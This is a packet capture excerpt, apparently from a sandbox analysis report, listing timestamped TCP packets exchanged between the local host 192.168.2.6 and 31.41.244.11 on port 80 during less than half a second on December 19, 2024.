Dec 19, 2024 08:09:12.486548901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.486596107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.487588882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.487637997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.487648964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.487683058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.488718987 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.488852978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.488935947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.489928007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.490046978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.490083933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.490127087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.491118908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.491159916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.491230011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.491271973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.492346048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.492408037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.492454052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.492577076 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.493521929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.493638992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.493668079 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.493680000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.494724035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.494913101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.494971991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.495910883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.495965958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.496056080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.496115923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.497129917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.497231960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.497345924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.498307943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.498352051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.498375893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.498590946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.499594927 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.499641895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.499663115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.499784946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.500670910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.500722885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.500829935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.500883102 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.501876116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.501925945 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.501969099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.502011061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.503024101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.503088951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.503093004 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.503130913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.504296064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.504348993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.504414082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.504471064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.505441904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.505494118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.505541086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.505584955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.506747007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.506763935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.506799936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.506828070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.507947922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.507989883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.508016109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.508071899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.509001970 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.509052038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.509121895 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.509162903 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.510202885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.510312080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.510364056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.511421919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.511466980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.511543036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.511580944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.512583017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.512653112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.512748003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.513781071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.513823986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.513899088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.513936043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.515031099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.515072107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.515145063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.515181065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.516208887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.516222954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.516247034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.516263962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.517393112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.517409086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.517448902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.518604040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.518620014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.518651962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.518678904 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.519747972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.519853115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.519896984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.520978928 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.521097898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.521143913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.522475958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.522520065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.651709080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.651774883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.651822090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.651868105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.652287960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.652338982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.652441978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.652486086 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.653450966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.653619051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.653661966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.654661894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.654717922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.654726028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.654768944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.655930996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.655946970 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.655991077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.656019926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.657092094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.657109022 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.657155037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.658214092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.658272982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.658339024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.658382893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.659421921 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.659528017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.659575939 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.660599947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.660648108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.660721064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.660769939 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.661894083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.661941051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.661962986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.661989927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.663052082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.663094997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.663139105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.663194895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.664186954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.664243937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.664307117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.664354086 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.665386915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.665401936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.665462971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.666553974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.666619062 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.666652918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.666698933 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.667937994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.667969942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.667985916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.668013096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.669044018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.669061899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.669111967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.670173883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.670191050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.670224905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.670258045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.671457052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.671557903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.671601057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.672648907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.672666073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.672719955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.673826933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.673842907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.673878908 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.673912048 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.675045967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.675062895 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.675117970 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.676249981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.676268101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.676327944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.677433014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.677450895 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.677495956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.677516937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.678544044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.678627014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.678684950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.679748058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.679764032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.679821014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.679855108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.680958986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.680974960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.681025028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.682131052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.682185888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.682271004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.682317972 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.683291912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.683336020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.683377981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.683423042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.684603930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.684621096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.684659958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.684675932 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.685683966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.685775042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.685847044 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.686992884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.687010050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.687052965 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.687077999 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.688071012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.688236952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.688319921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.689312935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.689346075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.689414978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.690478086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.690550089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.690634966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.690685987 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.691710949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.691761017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.691766024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.691813946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.692920923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.692950964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.693015099 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.694056034 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.694113016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.694200039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.694250107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.695252895 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.695302963 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.695358992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.695404053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.696551085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.696569920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.696651936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.697597027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.697748899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.697812080 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.698856115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.698883057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.698932886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.698956966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.700047016 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.700187922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.700257063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.701307058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.701459885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.701544046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.702406883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.702471018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.702619076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.702672958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.703780890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.703798056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.703845024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.703896046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.704973936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.704992056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.705063105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.705952883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.706020117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.706135035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.706187963 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.707207918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.707268953 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.707343102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.707391977 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.708375931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.708451033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.708482981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.708528996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.709683895 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.709731102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.709805012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.710808992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.710825920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.710879087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.710920095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.711904049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.712022066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.712094069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.713187933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.713287115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.713368893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.714683056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.714756012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.843856096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.843938112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.844006062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.844070911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.844415903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.844476938 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.844614029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.844708920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.845593929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.845684052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.846102953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.846121073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.846174955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.846175909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.847321987 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.847371101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.847378969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.847433090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.848443985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.848537922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.848577976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.848577976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.849668980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.849795103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.849836111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.849868059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.850837946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.850899935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.851016998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.851119041 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.852091074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.852122068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.852159023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.852159023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.853285074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.853296995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.853339911 CET	49802	80	192.168.2.6	31.41.244.11
